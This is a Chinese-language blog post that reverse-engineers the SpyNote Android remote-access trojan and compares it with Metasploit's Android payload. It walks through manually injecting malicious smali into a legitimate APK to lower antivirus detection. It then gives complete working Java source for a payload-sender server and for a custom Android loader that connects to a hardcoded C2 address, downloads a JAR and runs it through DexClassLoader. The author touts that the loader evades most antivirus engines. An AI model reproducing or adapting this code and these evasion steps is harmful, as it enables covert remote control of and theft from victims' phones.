【逆向&編程實戰】Metasploit中的安卓載荷憑什麼吊打SpyNote成爲安卓端最強遠控

文章作者:MG1937
QQ:3496925334
CSDN_ID:ALDYS4
未經許可,禁止轉載

前言

	 說起SpyNote大家自然不陌生,這款惡意遠控軟件被利用在各種攻擊場景中
	 甚至是最近也捕獲到了利用"新冠病毒"進行傳播的SpyNote樣本
	 方便的Gui操作頁面,行雲流水的攻擊過程...
	 但它真有那麼優秀以至於無懈可擊嗎?
	 著名滲透測試框架Metasploit中的安卓載荷和它相比到底如何呢?

文章目錄

  1. SpyNote運行流程分析
  2. Payload加載流程比對
  3. APK注入流程比對
  4. 靈活性與可擴展性比對
  5. 免殺難易程度比對

SpyNote運行流程分析

先利用SpyNote輸出一個受控端APK
在這裏插入圖片描述如圖,程序主入口爲 yps.eton.application.M
跟進
在這裏插入圖片描述
程序最終會進入第一處標記處,直接啓動A類服務
若在輸出APK時在SpyNote中選中了防用戶卸載選項,程序還會繼續向下進入第二處分支
嘗試申請權限並接管設備管理器

跟進A類服務

在這裏插入圖片描述如圖,A方法重寫onCreate方法後立刻調用startForeground方法在前臺彈出一個通知欄
從而使自身應用對用戶"可見",藉此提高系統優先級進行保活(雖然Android6.0以後保活基本不可能實現了)

在這裏插入圖片描述

在該方法內繼續向下執行,程序進入a方法

在這裏插入圖片描述
a方法體的開始,程序又會進入j方法中

在這裏插入圖片描述如圖,j方法體嘗試獲取root權限,並用獲取了root權限的Runtime實體嘗試輸出文件,以此判斷應用是否擁有最高權限

在這裏插入圖片描述
跳出j方法,程序進入h方法體,到此爲止,Payload才被正式加載

跟進h方法
在這裏插入圖片描述
h方法體新建立了一個線程,方便進行網絡操作
繼續向下執行至標記處,程序獲取了鍵爲"ArrayDns_Key"中的值,而該鍵的值正是C2的地址與端口
繼續向下執行,C2地址被分別賦予n成員

在這裏插入圖片描述
繼續向下執行,程序將n成員中的C2地址與端口提取出來,實體化一個InetSocketAddress實例並傳入
在第二處標記處,程序就正式向C2地址建立連接了
請注意,在第三處標記點,q成員被賦予C2地址的IO流,此處執行在下面還會有體現
接下來程序進入i方法體,該方法體與Payload的加載密切相關

由於JADX沒能成功反編譯i方法,故使用JDCORE繼續進行操作

在這裏插入圖片描述
i方法體內,程序同樣新建立一個線程,讀圖可以很容易看出在此線程內程序就嘗試接管電源與網絡控制器了

繼續向下看
在這裏插入圖片描述
此處的m方法在編輯器中並沒有找到,大概是因爲反編譯工具的問題,所以此處從smali層直接閱讀代碼

在這裏插入圖片描述
首先在smali中找到i方法體,可以看到A$25.smali文件正是程序建立線程的地方
跟進

在這裏插入圖片描述
在該smali文件中我找到之前的那處執行,可以看見m方法體需要傳入一個A類成員,並且返回對象爲BufferedReader

找到m方法

在這裏插入圖片描述

可見m方法返回了q成員,正是與C2地址建立連接的IO流對象

這裏我將反編譯工具沒有正常顯示但仍然需要用到的方法全部展示一遍

在這裏插入圖片描述

b方法:將傳入的參數存入o成員

在這裏插入圖片描述

n方法:取出o成員

將幾個會用到的方法展示完成後繼續查看代碼
在這裏插入圖片描述
如圖,第一處標記程序將取出與C2地址的IO流並檢查連接是否建立
接着在第二處標記程序讀出IO流中的數據,暫時存入i成員
繼續向下執行,程序在讀出IO流中的數據後轉換爲String,並最終利用b方法存入o成員
在最後一處標記點,程序檢查o成員是否以"c2x2824x82..."開頭和結尾,若不是則繼續循環上面的步驟
這裏不難看出受控端與C2地址傳輸信息的方式是以某些特殊字符作爲標記,並以此區分哪些是C2下達的指令

在這裏插入圖片描述
繼續執行,程序會將C2傳輸來的信息與寫死在本地的字符進行比較,以此來執行C2想讓傀儡機執行的代碼
在這裏插入圖片描述
例如傳輸來的信息如果是"shell_terminal"
程序將會進入如下分支

在這裏插入圖片描述
最終程序將執行j類的a方法體
在這裏插入圖片描述
通讀代碼不難得出該方法就是在本機執行任意代碼並向C2地址回傳命令的回顯

至此,SpyNote的運行流程分析完畢


Payload加載流程比對


SpyNote

從上面的SpyNote分析過程來看
SpyNote加載惡意代碼的方法很直接但卻十分笨拙

1.建立連接
2.下達指令
3.執行命令
4.回顯回傳
SpyNote
C2服務器
寫死在本地的惡意代碼

如流程圖所示
SpyNote的工作僅僅是接收命令,執行命令,回傳命令
明明非常簡單,但又爲什麼說它十分笨拙?

將代碼”全部寫死在本地,時機適當時予以調用“的執行方式的確很簡單
但隨之而來的代價就是極高度的代碼耦合與極其不便捷的維護與軟件升級

以這種方式加載代碼完全沒有考慮到中馬機適應C2功能升級的情況!
試想一下,若控制端與中馬機的通訊方式更新,老舊的中馬機不但不能隨之得到及時的功能更新
反而還可能因爲無法解析新的通訊方式而與控制端失去聯繫


Metasploit

關於安卓載荷的運行流程
可以查看我之前寫的一篇博文
【逆向&編程實戰】Metasploit安卓載荷運行流程分析
這裏簡要介紹一下它加載Payload的核心方法

在這裏插入圖片描述
看到圖中用箭標所指處的對象了嗎?DexClassLoader
是的,這就是Metasploit安卓載荷加載Payload的核心
不會吧不會吧?就這? 這就是所謂的加載方式?你tm在逗我?
好吧,先來看看官方文檔中對這個對象如何進行解釋
在這裏插入圖片描述AndroidDocument-DexClassLoader

如標記處所講,DexClassLoader可以從jarapk文件中動態執行自身應用中不存在的class文件
若看過我之前那篇對安卓載荷的分析,就已經可以清楚地知道Payload的加載方式

1.建立連接
2.下發惡意Jar文件
3. 動態加載
4.回傳執行回顯
Metasploit安卓載荷
C2服務器
DexClassLoader對象

如果要用一句話對這種加載方式進行描述,那就是複雜但卻十分靈活

其中DexClassLoader對象有着極大的靈活性與操作空間
這種加載方式幾乎使得載荷與C2服務器分別成爲兩個獨立的個體
C2服務器中遠控功能的更新幾乎不需要與中馬機進行任何互動
因爲再怎麼更新功能,只要將Jar文件傳入載荷,載荷都會乖乖地動態加載其中的代碼

倒不如說這種代碼耦合性極低的運行方式反而使得SpyNote更加顯得臃腫和笨拙


APK注入流程比對


SpyNote

在這裏插入圖片描述

SpyNote的客戶端帶有一個將惡意代碼與其他正常軟件合併的功能

注入測試用的Apk就用我17年左右開發的漫畫軟件罷(半成品,開發到一半服務器被牆了就沒再動過這個項目)
在這裏插入圖片描述
在這裏插入圖片描述
如圖,這就是輸出的Apk,不過感覺樣子好像沒變

總之先上傳到沙箱裏看看
在這裏插入圖片描述
檢出率完全沒有任何變化?!

感到理解不能的我隨之將輸出的Apk進行再次反編譯
依然跟進主入口
在這裏插入圖片描述
入口函數會獲取自身資源中的merge_file進行初步判斷
最終程序將進入箭頭所標的分支
跟進b方法
在這裏插入圖片描述
在第一處紅線標記處,程序獲取了自身raw資源中google文件的IO流
接着在本地以base.apk的形式輸出
最終實例化一個Intent對象通知系統安裝輸出在本地的base.apk

在這裏插入圖片描述
查看raw文件夾中的google.apk
什麼?!這不就是我想要注入的Apk嗎?
到頭來Spynote只是將Apk寫入raw資源文件裏
接着受害者啓動受控端的時候再輸出正常應用並安裝
你在逗我嗎?這種可有可無的注入?這也太無能了吧?!
連惡意代碼也完全沒有變化,檢出率當然不會改變了

好吧,既然SpyNote所謂的注入只是在資源文件層面的簡單替換操作
那我就手動將惡意代碼寫入Apk後再進行總結吧

注入思路

反編譯
反編譯
寫入
指向
正常APK
Apktool
惡意軟件
正常的Smali
惡意的Smali
合併Smali的入口函數
惡意Smali的入口函數

將惡意代碼寫入正常Apk的流程不再過多闡述
這裏只闡述關鍵步驟

由於SpyNote的受控端很多代碼都需要從R文件中獲取指定的資源文件
比如獲取C2服務器的地址就需要從string資源文件中獲取鍵爲host的值
所以在複製指定資源文件到正常軟件中時同樣也要修改Smali代碼中R.smali對資源文件的聲明
在這裏插入圖片描述
手動在R.smali中分別聲明瞭6個需要用到的資源文件
接着在需要調用到這些資源文件的代碼依次替換這些資源所指向的值
在這裏插入圖片描述
但是完成這些並沒有結束
受控端的代碼還調用到了經過混淆的android-v7
只有將這個v7庫再次插入應用的Smali層,接着在惡意Smali代碼中引用才能使得軟件正常運行
該步驟不再進行闡述
在這裏插入圖片描述
回編譯後安裝測試
可見在軟件正常運行的同時Spynote上線
在這裏插入圖片描述上傳雲沙箱
檢出率下降到4

在這裏插入圖片描述
接下來對SpyNote的注入流程進行總結
SpyNote客戶端所謂的"注入"與其說是注入,倒不如說只是套了個可有可無的殼子,連雞肋都算不上
而手動注入時由於SpyNote在多處調用到了資源文件,使得手動注入的過程變得十分繁瑣
光是Debug就花去了我十幾分鍾,明明可以在Smali層進行操作,卻要將關鍵數據寫進資源文件的反智行爲實在讓我困擾


Metasploit

我想msfvenom的注入功能不用過多闡述
這裏只簡要闡述一下

依然使用之前的Apk測試注入功能
在這裏插入圖片描述
雲沙箱的3檢出率還算差強人意

在這裏插入圖片描述反編譯輸出的Apk

在這裏插入圖片描述
儘管是幾年前開發的軟件,但整個軟件的結構我仍然能夠記起
圖中標記處就是msfvenom在清單文件中注入的信息
從後兩處標記處不難得出這兩處就是類名與包名混淆過的惡意代碼
在這裏插入圖片描述
在程序入口處被注入了惡意代碼的入口
可以直接跟進到Payload加載處
在這裏插入圖片描述
這裏Payload就已經加載了,不再過多描述

惡意代碼的整個注入過程可謂是行雲流水
沒有多餘沉澱的資源文件,所有關鍵信息全部都保存在Smali
惡意代碼的運行更是避免了調用到其他第三方類庫,大大降低了代碼耦合程度和注入複雜度
僅僅需要在適當時機調用惡意函數的入口,十分方便

相比SpyNote多餘的代碼和文件就使得注入過程十分繁瑣,不僅要手動聲明資源
而惡意函數調用到的其他第三方類庫還經過了混淆,這樣就不得不再次將類庫重新寫入正常Apk
增大了軟件體積。反而如果少了這種無意義的操作,軟件還無法運行


靈活性與可擴展性比對


SpyNote

抱歉,對於SpyNote來說,它幾乎沒有靈活性和擴展性可言!
這就是將惡意代碼全部寫死在本地的後果!
如果要擴展惡意代碼的功能,那麼就必須相應地更新控制端的代碼以適應受控端的代碼!
若是要擴展控制端的功能,那麼就要相應地重寫受控端代碼!
SpyNote極高的代碼耦合度和操作的極其不便利程度使得對SpyNote進行二次開發繁瑣到幾乎不可能
可謂是牽一髮而動全身!


Metasploit

關於靈活性和可擴展程度,Metasploit可謂是幾乎毫無疑問的完全站所有遠控軟件的上風
爲什麼這麼說?還記得安卓載荷加載惡意代碼的核心方法嗎?對,就是DexClassLoader對象
這個對象的實現功能可謂是給二次開發帶來了極大的便利,我甚至不需要更新Msf自帶的安卓載荷
就可以輕鬆實現在載荷上執行我所設想的新功能

由此我開發了一個載荷發送工具以便實現我想要的效果
開發原理與思路完全可以參照我上面所提到的之前寫的一篇博文:
【逆向&編程實戰】Metasploit安卓載荷運行流程分析_復現meterpreter模塊接管shell

在這裏插入圖片描述
代碼:

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;

public class Main {
	//Necessary Args
	private static String Port,dexLoadPath,dexLength,loadClass;

public static void main(String[] args) {
	if(args.length<3) {
		System.out.println("Auth:MG1937 CSDN_Blog:Aldys4 QQ:3496925334\nExample:java -jar payloadSender.jar 1937 C:/evil.jar com.evil.Main");
	}
	else {
		Port=args[0];
		dexLoadPath=args[1];
		loadClass=args[2];
		try {
			getClient();
		} catch (Throwable e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
}
public static void getClient() throws Exception {
	ServerSocket serverSocket=new ServerSocket(Integer.valueOf(Port));
	System.out.println("[*]ServerSocket was built,wait for Connection...");
	Socket socket=serverSocket.accept();
	System.out.println("[*]"+socket.getInetAddress().toString()+" Has connected!Sending payload...");
	Thread.sleep(1000);
	sendPayload(new DataOutputStream(socket.getOutputStream()));
}
public static void sendPayload(DataOutputStream outputStream) throws Exception {
	File file=new File(dexLoadPath);
	byte[] b=readPayload(file);
	dexLength=(int)b.length+"";
	System.out.println("[*]Send Class Length...");
	outputStream.writeInt(Integer.valueOf(loadClass.length()));
	System.out.println("[*]Send Class you want to load...");
	outputStream.write(loadClass.getBytes());
	Thread.sleep(1000);
	System.out.println("[*]Send Payload Length...");
	outputStream.writeInt(Integer.valueOf(dexLength));
	System.out.println("[*]Send Payload...");
	outputStream.write(b);
	System.out.println("[*]DONE!");
}
public static byte[] readPayload(File file) throws Exception {
	try {
        int length = (int) file.length();
        byte[] data = new byte[length];
        new FileInputStream(file).read(data);
        return data;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}
}

簡要描述一下這個工具的功能
依據載荷接收Jar和動態加載其中Dex的具體流程而開發的進行下發惡意Jar的工具

工具編寫完成,接下來構造一個可被載荷執行的惡意Jar
在這裏插入圖片描述如圖,惡意代碼的功能很簡單
利用反射獲取載荷的Context實例
接着實例化一個Intent對象,並通過這個對象打開我所指定的網址

編譯Apk文件,取出其中的Dex文件
在這裏插入圖片描述
如圖,利用d2jdx將dex文件重新打包成可被DexClassLoader對象識別的Jar文件
利用工具發送至中馬機進行測試
在這裏插入圖片描述如圖,當點擊載荷時,自動與工具建立了一個Socket連接
接着Jar被髮送到載荷上時,瀏覽器自動打開了百度的頁面
測試成功

或許有的人會問了
惡意代碼所獲取的Context實例的父類不是Application麼?
那樣的話能執行的命令還是會有限制
比如Application對象就不能在子線程中調用runOnUIThread函數操作UI進程啊!

這還不簡單嗎?
既然載荷加載的核心方法已經知道了
那麼就自己利用這種加載方法再開發一個載荷不就好了

MainActivity.java
在這裏插入圖片描述
getContext.java
在這裏插入圖片描述

如圖,MainActivity中是用來加載核心代碼的類
getContext類則是以靜態方法儲存Context的類
這麼一來就大概都懂了吧

傳遞自身Context對象
反射獲取Context對象
MainActivity
getContext
惡意Jar

這樣一來就可以在子線程中任意調用UI函數了!
重新編寫測試用的惡意代碼
在這裏插入圖片描述
如圖,事先在工程裏也創建一個和載荷同包名和類名的getContext對象
接着在正式編譯時刪除惡意Jar中的getContext對象,這樣在執行時就會調用載荷裏的Context對象
這樣一來載荷對象就真正被獲取了

在這裏插入圖片描述發送載荷,可以看見UI函數被成功操作,彈出了一個警示框

代碼:
MainActivity

public class MainActivity extends Activity {

    String ip="192.168.0.104";
    String port="1937";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        getContext.setContext(this);
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        getC2C();
                    }catch (Throwable e){}
                }
            }).start();

    }
    public void getC2C() throws IOException {
        Socket socket=new Socket(ip,Integer.valueOf(port));
        InputStream inputStream=socket.getInputStream();
        OutputStream outputStream=socket.getOutputStream();
        DataInputStream dataInputStream=new DataInputStream(inputStream);
        DataOutputStream dataOutputStream=new DataOutputStream(outputStream);
        try {
            getPayload(dataInputStream,dataOutputStream);
        } catch (Throwable e) {
            e.printStackTrace();
        }
    }
    public void getPayload(DataInputStream dataInputStream,DataOutputStream dataOutputStream) throws Exception {
        final String str = this.getFilesDir().toString();
        String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
        String str3 = str2 + ".jar";
        String str4 = str2 + ".dex";
        String str5 = new String(getPayload(dataInputStream));
        System.out.println(str5);
        byte[] a2 = getPayload(dataInputStream);
        System.out.println("byte get!");
        this.getResources().getString(R.string.app_name);
        File file = new File(str3);
        if (!file.exists()) {
            file.createNewFile();

        }
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        fileOutputStream.write(a2);
        fileOutputStream.flush();
        fileOutputStream.close();
        Class loadClass = new DexClassLoader(str3, str, str, MainActivity.class.getClassLoader()).loadClass(str5);
        Object newInstance = loadClass.newInstance();
        file.delete();
        new File(str4).delete();
        loadClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, Object[].class}).invoke(newInstance, new Object[]{dataInputStream, dataOutputStream, new Object[]{str,null}});

    }
    public byte[] getPayload(DataInputStream dataInputStream) throws Exception {
        int readInt = dataInputStream.readInt();
        byte[] bArr = new byte[readInt];
        int i = 0;
        while (i < readInt) {
            int read = dataInputStream.read(bArr, i, readInt - i);
            if (read < 0) {
                throw new Exception();
            }
            i += read;
        }
       
        return bArr;

    }
}

getContext

public class getContext {
    static public Context context_=null;
    static public void setContext(Context context){
        context_=context;
    }
    static public Context getContext_(){return context_;}
}

從載荷發送工具編寫到自主開發遠控載荷的流程來看
Metasploit可擴展性和靈活程度是當之無愧的
相比起SpyNote那種幾乎無二次開發與擴展可能的遠控工具來看簡直是高下立判


免殺難易程度比對


SpyNote

由於SpyNote的代碼高耦合度,所有惡意代碼都寫在本地使得病毒特徵明顯
免殺似乎只能從Dex加殼的層面下手
這裏不細講


Metasploit

幾乎開放式的惡意Jar動態加載過程不僅方便了二次開發
甚至是源碼級免殺也能輕鬆實現
將在上一個模塊我自主開發的載荷傳入雲沙箱
在這裏插入圖片描述可以看到僅僅只有一檢出率
bypass了國內大多數主流反病毒軟件
免殺效果可以說是非常理想了


總結

從三個方面去對比和分析這兩款遠控工具
結果無一例外Metasploit都完全佔在上風


若要把SpyNote比作是一把利劍的話,劍客就得去適應其劍身和握柄.
那麼Metasploit就是一塊可以隨意改造的模板,這個模板怎麼使用全看鑄劍人的意願

可以說Metasploit是一款開放性很強又極其靈活的工具,而SpyNote只能算是被組裝好的自動化武器,
它的拆卸,改裝都很麻煩,似乎只能隨着原開發者的意願去使用

所以Metasploit可以說是當代當之無愧的幾乎所有遠控工具的巔峯!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章